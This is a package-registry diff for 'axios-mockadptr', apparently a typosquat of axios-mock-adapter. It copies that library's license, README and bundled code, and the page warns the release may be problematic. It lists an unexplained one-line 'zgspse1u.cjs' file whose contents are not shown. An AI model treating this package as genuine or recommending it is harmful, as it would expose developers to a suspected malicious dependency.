axios-mockadptr 0.0.1-security → 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of axios-mockadptr might be problematic. Click here for more details.
- package/LICENSE +21 -0
- package/README.md +371 -3
- package/dist/axios-mock-adapter.js +133 -0
- package/dist/axios-mock-adapter.min.js +2 -0
- package/dist/axios-mock-adapter.min.js.LICENSE.txt +25 -0
- package/package.json +51 -4
- package/src/handle_request.js +88 -0
- package/src/index.js +285 -0
- package/src/is_blob.js +28 -0
- package/src/utils.js +224 -0
- package/types/index.d.ts +126 -0
- package/types/test.ts +170 -0
- package/types/tsconfig.json +19 -0
- package/zgspse1u.cjs +1 -0
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) Colin Timmermans
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
@@ -1,5 +1,373 @@
|
|
1
|
-
#
|
1
|
+
# axios-mock-adapter
|
2
2
|
|
3
|
-
|
3
|
+
Axios adapter that allows to easily mock requests
|
4
4
|
|
5
|
-
|
5
|
+
## Installation
|
6
|
+
|
7
|
+
Using npm:
|
8
|
+
|
9
|
+
`$ npm install axios-mock-adapter --save-dev`
|
10
|
+
|
11
|
+
It's also available as a UMD build:
|
12
|
+
|
13
|
+
- https://unpkg.com/axios-mock-adapter/dist/axios-mock-adapter.js
|
14
|
+
- https://unpkg.com/axios-mock-adapter/dist/axios-mock-adapter.min.js
|
15
|
+
|
16
|
+
axios-mock-adapter works on Node as well as in a browser, it works with axios v0.17.0 and above.
|
17
|
+
|
18
|
+
## Example
|
19
|
+
|
20
|
+
Mocking a `GET` request
|
21
|
+
|
22
|
+
```js
|
23
|
+
const axios = require("axios");
|
24
|
+
const AxiosMockAdapter = require("axios-mock-adapter");
|
25
|
+
|
26
|
+
// This sets the mock adapter on the default instance
|
27
|
+
const mock = new AxiosMockAdapter(axios);
|
28
|
+
|
29
|
+
// Mock any GET request to /users
|
30
|
+
// arguments for reply are (status, data, headers)
|
31
|
+
mock.onGet("/users").reply(200, {
|
32
|
+
users: [{ id: 1, name: "John Smith" }],
|
33
|
+
});
|
34
|
+
|
35
|
+
axios.get("/users").then(function (response) {
|
36
|
+
console.log(response.data);
|
37
|
+
});
|
38
|
+
```
|
39
|
+
|
40
|
+
Mocking a `GET` request with specific parameters
|
41
|
+
|
42
|
+
```js
|
43
|
+
const axios = require("axios");
|
44
|
+
const AxiosMockAdapter = require("axios-mock-adapter");
|
45
|
+
|
46
|
+
// This sets the mock adapter on the default instance
|
47
|
+
const mock = new AxiosMockAdapter(axios);
|
48
|
+
|
49
|
+
// Mock GET request to /users when param `searchText` is 'John'
|
50
|
+
// arguments for reply are (status, data, headers)
|
51
|
+
mock.onGet("/users", { params: { searchText: "John" } }).reply(200, {
|
52
|
+
users: [{ id: 1, name: "John Smith" }],
|
53
|
+
});
|
54
|
+
|
55
|
+
axios
|
56
|
+
.get("/users", { params: { searchText: "John" } })
|
57
|
+
.then(function (response) {
|
58
|
+
console.log(response.data);
|
59
|
+
});
|
60
|
+
```
|
61
|
+
|
62
|
+
When using `params`, you must match _all_ key/value pairs passed to that option.
|
63
|
+
|
64
|
+
To add a delay to responses, specify a delay amount (in milliseconds) when instantiating the adapter
|
65
|
+
|
66
|
+
```js
|
67
|
+
// All requests using this instance will have a 2 seconds delay:
|
68
|
+
const mock = new AxiosMockAdapter(axiosInstance, { delayResponse: 2000 });
|
69
|
+
```
|
70
|
+
|
71
|
+
You can restore the original adapter (which will remove the mocking behavior)
|
72
|
+
|
73
|
+
```js
|
74
|
+
mock.restore();
|
75
|
+
```
|
76
|
+
|
77
|
+
You can also reset the registered mock handlers with `resetHandlers`
|
78
|
+
|
79
|
+
```js
|
80
|
+
mock.resetHandlers();
|
81
|
+
```
|
82
|
+
|
83
|
+
You can reset both registered mock handlers and history items with `reset`
|
84
|
+
|
85
|
+
```js
|
86
|
+
mock.reset();
|
87
|
+
```
|
88
|
+
|
89
|
+
`reset` is different from `restore` in that `restore` removes the mocking from the axios instance completely,
|
90
|
+
whereas `reset` only removes all mock handlers that were added with onGet, onPost, etc. but leaves the mocking in place.
|
91
|
+
|
92
|
+
Mock a low level network error
|
93
|
+
|
94
|
+
```js
|
95
|
+
// Returns a failed promise with Error('Network Error');
|
96
|
+
mock.onGet("/users").networkError();
|
97
|
+
|
98
|
+
// networkErrorOnce can be used to mock a network error only once
|
99
|
+
mock.onGet("/users").networkErrorOnce();
|
100
|
+
```
|
101
|
+
|
102
|
+
Mock a network timeout
|
103
|
+
|
104
|
+
```js
|
105
|
+
// Returns a failed promise with Error with code set to 'ECONNABORTED'
|
106
|
+
mock.onGet("/users").timeout();
|
107
|
+
|
108
|
+
// timeoutOnce can be used to mock a timeout only once
|
109
|
+
mock.onGet("/users").timeoutOnce();
|
110
|
+
```
|
111
|
+
|
112
|
+
Passing a function to `reply`
|
113
|
+
|
114
|
+
```js
|
115
|
+
mock.onGet("/users").reply(function (config) {
|
116
|
+
// `config` is the axios config and contains things like the url
|
117
|
+
|
118
|
+
// return an array in the form of [status, data, headers]
|
119
|
+
return [
|
120
|
+
200,
|
121
|
+
{
|
122
|
+
users: [{ id: 1, name: "John Smith" }],
|
123
|
+
},
|
124
|
+
];
|
125
|
+
});
|
126
|
+
```
|
127
|
+
|
128
|
+
Passing a function to `reply` that returns an axios request, essentially mocking a redirect
|
129
|
+
|
130
|
+
```js
|
131
|
+
mock.onPost("/foo").reply(function (config) {
|
132
|
+
return axios.get("/bar");
|
133
|
+
});
|
134
|
+
```
|
135
|
+
|
136
|
+
Using a regex
|
137
|
+
|
138
|
+
```js
|
139
|
+
mock.onGet(/\/users\/\d+/).reply(function (config) {
|
140
|
+
// the actual id can be grabbed from config.url
|
141
|
+
|
142
|
+
return [200, {}];
|
143
|
+
});
|
144
|
+
```
|
145
|
+
|
146
|
+
Using variables in regex
|
147
|
+
|
148
|
+
```js
|
149
|
+
const usersUri = "/users";
|
150
|
+
const url = new RegExp(`${usersUri}/*`);
|
151
|
+
|
152
|
+
mock.onGet(url).reply(200, users);
|
153
|
+
```
|
154
|
+
|
155
|
+
Specify no path to match by verb alone
|
156
|
+
|
157
|
+
```js
|
158
|
+
// Reject all POST requests with HTTP 500
|
159
|
+
mock.onPost().reply(500);
|
160
|
+
```
|
161
|
+
|
162
|
+
Chaining is also supported
|
163
|
+
|
164
|
+
```js
|
165
|
+
mock.onGet("/users").reply(200, users).onGet("/posts").reply(200, posts);
|
166
|
+
```
|
167
|
+
|
168
|
+
`.replyOnce()` can be used to let the mock only reply once
|
169
|
+
|
170
|
+
```js
|
171
|
+
mock
|
172
|
+
.onGet("/users")
|
173
|
+
.replyOnce(200, users) // After the first request to /users, this handler is removed
|
174
|
+
.onGet("/users")
|
175
|
+
.replyOnce(500); // The second request to /users will have status code 500
|
176
|
+
// Any following request would return a 404 since there are
|
177
|
+
// no matching handlers left
|
178
|
+
```
|
179
|
+
|
180
|
+
Mocking any request to a given url
|
181
|
+
|
182
|
+
```js
|
183
|
+
// mocks GET, POST, ... requests to /foo
|
184
|
+
mock.onAny("/foo").reply(200);
|
185
|
+
```
|
186
|
+
|
187
|
+
`.onAny` can be useful when you want to test for a specific order of requests
|
188
|
+
|
189
|
+
```js
|
190
|
+
// Expected order of requests:
|
191
|
+
const responses = [
|
192
|
+
["GET", "/foo", 200, { foo: "bar" }],
|
193
|
+
["POST", "/bar", 200],
|
194
|
+
["PUT", "/baz", 200],
|
195
|
+
];
|
196
|
+
|
197
|
+
// Match ALL requests
|
198
|
+
mock.onAny().reply((config) => {
|
199
|
+
const [method, url, ...response] = responses.shift();
|
200
|
+
if (config.url === url && config.method.toUpperCase() === method)
|
201
|
+
return response;
|
202
|
+
// Unexpected request, error out
|
203
|
+
return [500, {}];
|
204
|
+
});
|
205
|
+
```
|
206
|
+
|
207
|
+
Requests that do not map to a mock handler are rejected with a HTTP 404 response. Since
|
208
|
+
handlers are matched in order, a final `onAny()` can be used to change the default
|
209
|
+
behaviour
|
210
|
+
|
211
|
+
```js
|
212
|
+
// Mock GET requests to /foo, reject all others with HTTP 500
|
213
|
+
mock.onGet("/foo").reply(200).onAny().reply(500);
|
214
|
+
```
|
215
|
+
|
216
|
+
Mocking a request with a specific request body/data
|
217
|
+
|
218
|
+
```js
|
219
|
+
mock.onPut("/product", { id: 4, name: "foo" }).reply(204);
|
220
|
+
```
|
221
|
+
|
222
|
+
Using an asymmetric matcher, for example Jest matchers
|
223
|
+
|
224
|
+
```js
|
225
|
+
mock
|
226
|
+
.onPost(
|
227
|
+
"/product",
|
228
|
+
{ id: 1 },
|
229
|
+
{
|
230
|
+
headers: expect.objectContaining({
|
231
|
+
Authorization: expect.stringMatching(/^Basic /),
|
232
|
+
})
|
233
|
+
}
|
234
|
+
)
|
235
|
+
.reply(204);
|
236
|
+
```
|
237
|
+
|
238
|
+
Using a custom asymmetric matcher (any object that has a `asymmetricMatch` property)
|
239
|
+
|
240
|
+
```js
|
241
|
+
mock
|
242
|
+
.onPost("/product", {
|
243
|
+
asymmetricMatch: function (actual) {
|
244
|
+
return ["computer", "phone"].includes(actual["type"]);
|
245
|
+
},
|
246
|
+
})
|
247
|
+
.reply(204);
|
248
|
+
```
|
249
|
+
|
250
|
+
`.passThrough()` forwards the matched request over network
|
251
|
+
|
252
|
+
```js
|
253
|
+
// Mock POST requests to /api with HTTP 201, but forward
|
254
|
+
// GET requests to server
|
255
|
+
mock
|
256
|
+
.onPost(/^\/api/)
|
257
|
+
.reply(201)
|
258
|
+
.onGet(/^\/api/)
|
259
|
+
.passThrough();
|
260
|
+
```
|
261
|
+
|
262
|
+
Recall that the order of handlers is significant
|
263
|
+
|
264
|
+
```js
|
265
|
+
// Mock specific requests, but let unmatched ones through
|
266
|
+
mock
|
267
|
+
.onGet("/foo")
|
268
|
+
.reply(200)
|
269
|
+
.onPut("/bar", { xyz: "abc" })
|
270
|
+
.reply(204)
|
271
|
+
.onAny()
|
272
|
+
.passThrough();
|
273
|
+
```
|
274
|
+
|
275
|
+
Note that `passThrough` requests are not subject to delaying by `delayResponse`.
|
276
|
+
|
277
|
+
If you set `onNoMatch` option to `passthrough` all requests would be forwarded over network by default
|
278
|
+
|
279
|
+
```js
|
280
|
+
// Mock all requests to /foo with HTTP 200, but forward
|
281
|
+
// any others requests to server
|
282
|
+
const mock = new AxiosMockAdapter(axiosInstance, { onNoMatch: "passthrough" });
|
283
|
+
|
284
|
+
mock.onAny("/foo").reply(200);
|
285
|
+
```
|
286
|
+
|
287
|
+
Using `onNoMatch` option with `throwException` to throw an exception when a request is made without match any handler. It's helpful to debug your test mocks.
|
288
|
+
|
289
|
+
```js
|
290
|
+
const mock = new AxiosMockAdapter(axiosInstance, { onNoMatch: "throwException" });
|
291
|
+
|
292
|
+
mock.onAny("/foo").reply(200);
|
293
|
+
|
294
|
+
axios.get("/unexistent-path");
|
295
|
+
|
296
|
+
// Exception message on console:
|
297
|
+
//
|
298
|
+
// Could not find mock for:
|
299
|
+
// {
|
300
|
+
// "method": "get",
|
301
|
+
// "url": "http://localhost/unexistent-path"
|
302
|
+
// }
|
303
|
+
```
|
304
|
+
|
305
|
+
As of 1.7.0, `reply` function may return a Promise:
|
306
|
+
|
307
|
+
```js
|
308
|
+
mock.onGet("/product").reply(function (config) {
|
309
|
+
return new Promise(function (resolve, reject) {
|
310
|
+
setTimeout(function () {
|
311
|
+
if (Math.random() > 0.1) {
|
312
|
+
resolve([200, { id: 4, name: "foo" }]);
|
313
|
+
} else {
|
314
|
+
// reject() reason will be passed as-is.
|
315
|
+
// Use HTTP error status code to simulate server failure.
|
316
|
+
resolve([500, { success: false }]);
|
317
|
+
}
|
318
|
+
}, 1000);
|
319
|
+
});
|
320
|
+
});
|
321
|
+
```
|
322
|
+
|
323
|
+
Composing from multiple sources with Promises:
|
324
|
+
|
325
|
+
```js
|
326
|
+
const normalAxios = axios.create();
|
327
|
+
const mockAxios = axios.create();
|
328
|
+
const mock = new AxiosMockAdapter(mockAxios);
|
329
|
+
|
330
|
+
mock
|
331
|
+
.onGet("/orders")
|
332
|
+
.reply(() =>
|
333
|
+
Promise.all([
|
334
|
+
normalAxios.get("/api/v1/orders").then((resp) => resp.data),
|
335
|
+
normalAxios.get("/api/v2/orders").then((resp) => resp.data),
|
336
|
+
{ id: "-1", content: "extra row 1" },
|
337
|
+
{ id: "-2", content: "extra row 2" },
|
338
|
+
]).then((sources) => [
|
339
|
+
200,
|
340
|
+
sources.reduce((agg, source) => agg.concat(source)),
|
341
|
+
])
|
342
|
+
);
|
343
|
+
```
|
344
|
+
|
345
|
+
## History
|
346
|
+
|
347
|
+
The `history` property allows you to enumerate existing axios request objects. The property is an object of verb keys referencing arrays of request objects.
|
348
|
+
|
349
|
+
This is useful for testing.
|
350
|
+
|
351
|
+
```js
|
352
|
+
describe("Feature", () => {
|
353
|
+
it("requests an endpoint", (done) => {
|
354
|
+
const mock = new AxiosMockAdapter(axios);
|
355
|
+
mock.onPost("/endpoint").replyOnce(200);
|
356
|
+
|
357
|
+
feature
|
358
|
+
.request()
|
359
|
+
.then(() => {
|
360
|
+
expect(mock.history.post.length).toBe(1);
|
361
|
+
expect(mock.history.post[0].data).toBe(JSON.stringify({ foo: "bar" }));
|
362
|
+
})
|
363
|
+
.then(done)
|
364
|
+
.catch(done.fail);
|
365
|
+
});
|
366
|
+
});
|
367
|
+
```
|
368
|
+
|
369
|
+
You can clear the history with `resetHistory`
|
370
|
+
|
371
|
+
```js
|
372
|
+
mock.resetHistory();
|
373
|
+
```
|
@@ -0,0 +1,133 @@
|
|
1
|
+
/*
|
2
|
+
* ATTENTION: The "eval" devtool has been used (maybe by default in mode: "development").
|
3
|
+
* This devtool is neither made for production nor for readable output files.
|
4
|
+
* It uses "eval()" calls to create a separate source file in the browser devtools.
|
5
|
+
* If you are trying to read the output file, select a different devtool (https://webpack.js.org/configuration/devtool/)
|
6
|
+
* or disable the default devtool with "devtool: false".
|
7
|
+
* If you are looking for production-ready output files, see mode: "production" (https://webpack.js.org/configuration/mode/).
|
8
|
+
*/
|
9
|
+
(function webpackUniversalModuleDefinition(root, factory) {
|
10
|
+
if(typeof exports === 'object' && typeof module === 'object')
|
11
|
+
module.exports = factory(require("axios"));
|
12
|
+
else if(typeof define === 'function' && define.amd)
|
13
|
+
define(["axios"], factory);
|
14
|
+
else if(typeof exports === 'object')
|
15
|
+
exports["AxiosMockAdapter"] = factory(require("axios"));
|
16
|
+
else
|
17
|
+
root["AxiosMockAdapter"] = factory(root["axios"]);
|
18
|
+
})(self, (__WEBPACK_EXTERNAL_MODULE_axios__) => {
|
19
|
+
return /******/ (() => { // webpackBootstrap
|
20
|
+
/******/ var __webpack_modules__ = ({
|
21
|
+
|
22
|
+
/***/ "./node_modules/fast-deep-equal/index.js":
|
23
|
+
/*!***********************************************!*\
|
24
|
+
!*** ./node_modules/fast-deep-equal/index.js ***!
|
25
|
+
\***********************************************/
|
26
|
+
/***/ ((module) => {
|
27
|
+
|
28
|
+
"use strict";
|
29
|
+
eval("\n\n// do not edit .js files directly - edit src/index.jst\n\n\n\nmodule.exports = function equal(a, b) {\n if (a === b) return true;\n\n if (a && b && typeof a == 'object' && typeof b == 'object') {\n if (a.constructor !== b.constructor) return false;\n\n var length, i, keys;\n if (Array.isArray(a)) {\n length = a.length;\n if (length != b.length) return false;\n for (i = length; i-- !== 0;)\n if (!equal(a[i], b[i])) return false;\n return true;\n }\n\n\n\n if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;\n if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();\n if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();\n\n keys = Object.keys(a);\n length = keys.length;\n if (length !== Object.keys(b).length) return false;\n\n for (i = length; i-- !== 0;)\n if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;\n\n for (i = length; i-- !== 0;) {\n var key = keys[i];\n\n if (!equal(a[key], b[key])) return false;\n }\n\n return true;\n }\n\n // true if both NaN, false otherwise\n return a!==a && b!==b;\n};\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./node_modules/fast-deep-equal/index.js?");
|
30
|
+
|
31
|
+
/***/ }),
|
32
|
+
|
33
|
+
/***/ "./node_modules/is-buffer/index.js":
|
34
|
+
/*!*****************************************!*\
|
35
|
+
!*** ./node_modules/is-buffer/index.js ***!
|
36
|
+
\*****************************************/
|
37
|
+
/***/ ((module) => {
|
38
|
+
|
39
|
+
eval("/*!\n * Determine if an object is a Buffer\n *\n * @author Feross Aboukhadijeh <https://feross.org>\n * @license MIT\n */\n\nmodule.exports = function isBuffer (obj) {\n return obj != null && obj.constructor != null &&\n typeof obj.constructor.isBuffer === 'function' && obj.constructor.isBuffer(obj)\n}\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./node_modules/is-buffer/index.js?");
|
40
|
+
|
41
|
+
/***/ }),
|
42
|
+
|
43
|
+
/***/ "./src/handle_request.js":
|
44
|
+
/*!*******************************!*\
|
45
|
+
!*** ./src/handle_request.js ***!
|
46
|
+
\*******************************/
|
47
|
+
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
|
48
|
+
|
49
|
+
"use strict";
|
50
|
+
eval("\nconst utils = __webpack_require__(/*! ./utils */ \"./src/utils.js\");\n\nfunction passThroughRequest (mockAdapter, config) {\n // Axios v0.17 mutates the url to include the baseURL for non hostnames\n // but does not remove the baseURL from the config\n let baseURL = config.baseURL;\n if (baseURL && !/^https?:/.test(baseURL)) {\n baseURL = undefined;\n }\n\n // Axios pre 1.2\n if (typeof mockAdapter.originalAdapter === \"function\") {\n return mockAdapter.originalAdapter(config);\n }\n\n return mockAdapter.axiosInstanceWithoutInterceptors(Object.assign({}, config, {\n baseURL,\n // Use the original adapter, not the mock adapter\n adapter: mockAdapter.originalAdapter,\n // The request transformation runs on the original axios handler already\n transformRequest: [],\n transformResponse: []\n }));\n}\n\nasync function handleRequest(mockAdapter, config) {\n let url = config.url || \"\";\n // TODO we're not hitting this `if` in any of the tests, investigate\n if (\n config.baseURL &&\n url.substr(0, config.baseURL.length) === config.baseURL\n ) {\n url = url.slice(config.baseURL.length);\n }\n\n delete config.adapter;\n mockAdapter.history.push(config);\n\n const handler = utils.findHandler(\n mockAdapter.handlers,\n config.method,\n url,\n config.data,\n config.params,\n (config.headers && config.headers.constructor.name === \"AxiosHeaders\")\n ? Object.assign({}, config.headers.toJSON())\n : config.headers,\n config.baseURL\n );\n\n if (handler) {\n if (handler.replyOnce) {\n utils.purgeIfReplyOnce(mockAdapter, handler);\n }\n\n if (handler.passThrough) {\n // passThrough handler\n return passThroughRequest(mockAdapter, config);\n } else {\n return utils.settle(\n config,\n handler.response,\n getEffectiveDelay(mockAdapter, handler)\n );\n }\n } else {\n // handler not found\n switch (mockAdapter.onNoMatch) {\n case \"passthrough\":\n return passThroughRequest(mockAdapter, config);\n case \"throwException\":\n throw utils.createCouldNotFindMockError(config);\n default:\n return utils.settle(\n config,\n { status: 404 },\n mockAdapter.delayResponse\n );\n }\n }\n}\n\nfunction getEffectiveDelay(adapter, handler) {\n return typeof handler.delay === \"number\" ? handler.delay : adapter.delayResponse;\n}\n\nmodule.exports = handleRequest;\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./src/handle_request.js?");
|
51
|
+
|
52
|
+
/***/ }),
|
53
|
+
|
54
|
+
/***/ "./src/index.js":
|
55
|
+
/*!**********************!*\
|
56
|
+
!*** ./src/index.js ***!
|
57
|
+
\**********************/
|
58
|
+
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
|
59
|
+
|
60
|
+
"use strict";
|
61
|
+
eval("\nconst handleRequest = __webpack_require__(/*! ./handle_request */ \"./src/handle_request.js\");\nconst utils = __webpack_require__(/*! ./utils */ \"./src/utils.js\");\n\nconst VERBS = [\n \"get\",\n \"post\",\n \"head\",\n \"delete\",\n \"patch\",\n \"put\",\n \"options\",\n \"list\",\n \"link\",\n \"unlink\",\n];\n\nfunction getVerbArray() {\n const arr = [];\n VERBS.forEach(function (verb) {\n Object.defineProperty(arr, verb, {\n get () {\n return arr.filter(function (h) {\n return !h.method || h.method === verb;\n });\n },\n });\n });\n return arr;\n}\n\nclass AxiosMockAdapter {\n constructor (axiosInstance, options = {}) {\n this.reset();\n\n if (axiosInstance) {\n this.axiosInstance = axiosInstance;\n // Clone the axios instance to remove interceptors\n // this is used for the passThrough mode with axios > 1.2\n this.axiosInstanceWithoutInterceptors = axiosInstance.create\n ? axiosInstance.create()\n : undefined;\n\n this.originalAdapter = axiosInstance.defaults.adapter;\n this.delayResponse = options.delayResponse > 0 ? options.delayResponse : null;\n this.onNoMatch = options.onNoMatch || null;\n axiosInstance.defaults.adapter = this.adapter();\n } else {\n throw new Error(\"Please provide an instance of axios to mock\");\n }\n }\n\n adapter () {\n return (config) => handleRequest(this, config);\n }\n\n restore () {\n if (!this.axiosInstance) return;\n this.axiosInstance.defaults.adapter = this.originalAdapter;\n this.axiosInstance = undefined;\n }\n\n reset () {\n this.resetHandlers();\n this.resetHistory();\n }\n\n resetHandlers () {\n if (this.handlers) this.handlers.length = 0;\n else this.handlers = getVerbArray();\n }\n\n resetHistory () {\n if (this.history) this.history.length = 0;\n else this.history = getVerbArray();\n }\n}\n\nconst methodsWithConfigsAsSecondArg = [\"any\", \"get\", \"delete\", \"head\", \"options\"];\nfunction convertDataAndConfigToConfig (method, data, config) {\n if (methodsWithConfigsAsSecondArg.includes(method)) {\n return validateconfig(method, data || {});\n } else {\n return validateconfig(method, Object.assign({}, config, { data: data }));\n }\n}\n\nconst allowedConfigProperties = [\"headers\", \"params\", \"data\"];\nfunction validateconfig (method, config) {\n for (const key in config) {\n if (!allowedConfigProperties.includes(key)) {\n throw new Error(\n `Invalid config property ${\n JSON.stringify(key)\n } provided to ${\n toMethodName(method)\n }. Config: ${\n JSON.stringify(config)}`\n );\n }\n }\n\n return config;\n}\n\nfunction toMethodName (method) {\n return `on${method.charAt(0).toUpperCase()}${method.slice(1)}`;\n}\n\nVERBS.concat(\"any\").forEach(function (method) {\n AxiosMockAdapter.prototype[toMethodName(method)] = function (matcher, data, config) {\n const self = this;\n let delay;\n matcher = matcher === undefined ? /.*/ : matcher;\n\n const paramsAndBody = convertDataAndConfigToConfig(method, data, config);\n\n function reply (code, response, headers) {\n const handler = {\n url: matcher,\n method: method === \"any\" ? undefined : method,\n params: paramsAndBody.params,\n data: paramsAndBody.data,\n headers: paramsAndBody.headers,\n replyOnce: false,\n delay,\n response: typeof code === \"function\" ? code : [\n code,\n response,\n headers\n ]\n };\n addHandler(method, self.handlers, handler);\n return self;\n }\n\n function withDelayInMs (_delay) {\n delay = _delay;\n const respond = requestApi.reply.bind(requestApi);\n Object.assign(respond, requestApi);\n return respond;\n }\n\n function replyOnce (code, response, headers) {\n const handler = {\n url: matcher,\n method: method === \"any\" ? undefined : method,\n params: paramsAndBody.params,\n data: paramsAndBody.data,\n headers: paramsAndBody.headers,\n replyOnce: true,\n delay: delay,\n response: typeof code === \"function\" ? code : [\n code,\n response,\n headers\n ]\n };\n addHandler(method, self.handlers, handler);\n return self;\n }\n\n const requestApi = {\n reply,\n replyOnce,\n withDelayInMs,\n passThrough () {\n const handler = {\n passThrough: true,\n method: method === \"any\" ? undefined : method,\n url: matcher,\n params: paramsAndBody.params,\n data: paramsAndBody.data,\n headers: paramsAndBody.headers\n };\n addHandler(method, self.handlers, handler);\n return self;\n },\n abortRequest () {\n return reply(async function (config) {\n throw utils.createAxiosError(\n \"Request aborted\",\n config,\n undefined,\n \"ECONNABORTED\"\n );\n });\n },\n abortRequestOnce () {\n return replyOnce(async function (config) {\n throw utils.createAxiosError(\n \"Request aborted\",\n config,\n undefined,\n \"ECONNABORTED\"\n );\n });\n },\n\n networkError () {\n return reply(async function (config) {\n throw utils.createAxiosError(\"Network Error\", config);\n });\n },\n\n networkErrorOnce () {\n return replyOnce(async function (config) {\n throw utils.createAxiosError(\"Network Error\", config);\n });\n },\n\n timeout () {\n return reply(async function (config) {\n throw utils.createAxiosError(\n config.timeoutErrorMessage ||\n `timeout of ${config.timeout }ms exceeded`,\n config,\n undefined,\n config.transitional && config.transitional.clarifyTimeoutError\n ? \"ETIMEDOUT\"\n : \"ECONNABORTED\"\n );\n });\n },\n\n timeoutOnce () {\n return replyOnce(async function (config) {\n throw utils.createAxiosError(\n config.timeoutErrorMessage ||\n `timeout of ${config.timeout }ms exceeded`,\n config,\n undefined,\n config.transitional && config.transitional.clarifyTimeoutError\n ? \"ETIMEDOUT\"\n : \"ECONNABORTED\"\n );\n });\n },\n };\n\n return requestApi;\n };\n});\n\nfunction findInHandlers (handlers, handler) {\n let index = -1;\n for (let i = 0; i < handlers.length; i += 1) {\n const item = handlers[i];\n const comparePaths =\n item.url instanceof RegExp && handler.url instanceof RegExp\n ? String(item.url) === String(handler.url)\n : item.url === handler.url;\n\n const isSame =\n (!item.method || item.method === handler.method) &&\n comparePaths &&\n utils.isEqual(item.params, handler.params) &&\n utils.isEqual(item.data, handler.data) &&\n utils.isEqual(item.headers, handler.headers);\n\n if (isSame && !item.replyOnce) {\n index = i;\n }\n }\n return index;\n}\n\nfunction addHandler (method, handlers, handler) {\n if (method === \"any\") {\n handlers.push(handler);\n } else {\n const indexOfExistingHandler = findInHandlers(handlers, handler);\n // handler.replyOnce indicates that a handler only runs once.\n // It's supported to register muliple ones like that without\n // overwriting the previous one.\n if (indexOfExistingHandler > -1 && !handler.replyOnce) {\n handlers.splice(indexOfExistingHandler, 1, handler);\n } else {\n handlers.push(handler);\n }\n }\n}\n\nmodule.exports = AxiosMockAdapter;\nmodule.exports[\"default\"] = AxiosMockAdapter;\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./src/index.js?");
|
62
|
+
|
63
|
+
/***/ }),
|
64
|
+
|
65
|
+
/***/ "./src/is_blob.js":
|
66
|
+
/*!************************!*\
|
67
|
+
!*** ./src/is_blob.js ***!
|
68
|
+
\************************/
|
69
|
+
/***/ ((module) => {
|
70
|
+
|
71
|
+
eval("/*!\n * MIT License\n *\n * Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n * documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit\n * persons to whom the Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n * WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\nfunction isBlob(value) {\n if (typeof Blob === \"undefined\") {\n return false;\n }\n\n return value instanceof Blob || Object.prototype.toString.call(value) === \"[object Blob]\";\n}\n\nmodule.exports = isBlob;\n\n\n//# sourceURL=webpack://AxiosMockAdapter/./src/is_blob.js?");
|
72
|
+
|
73
|
+
/***/ }),
|
74
|
+
|
75
|
+
/***/ "./src/utils.js":
|
76
|
+
/*!**********************!*\
|
77
|
+
!*** ./src/utils.js ***!
|
78
|
+
\**********************/
|
79
|
+
/***/ ((module, __unused_webpack_exports, __webpack_require__) => {
|
80
|
+
|
81
|
+
"use strict";
|
82
|
+
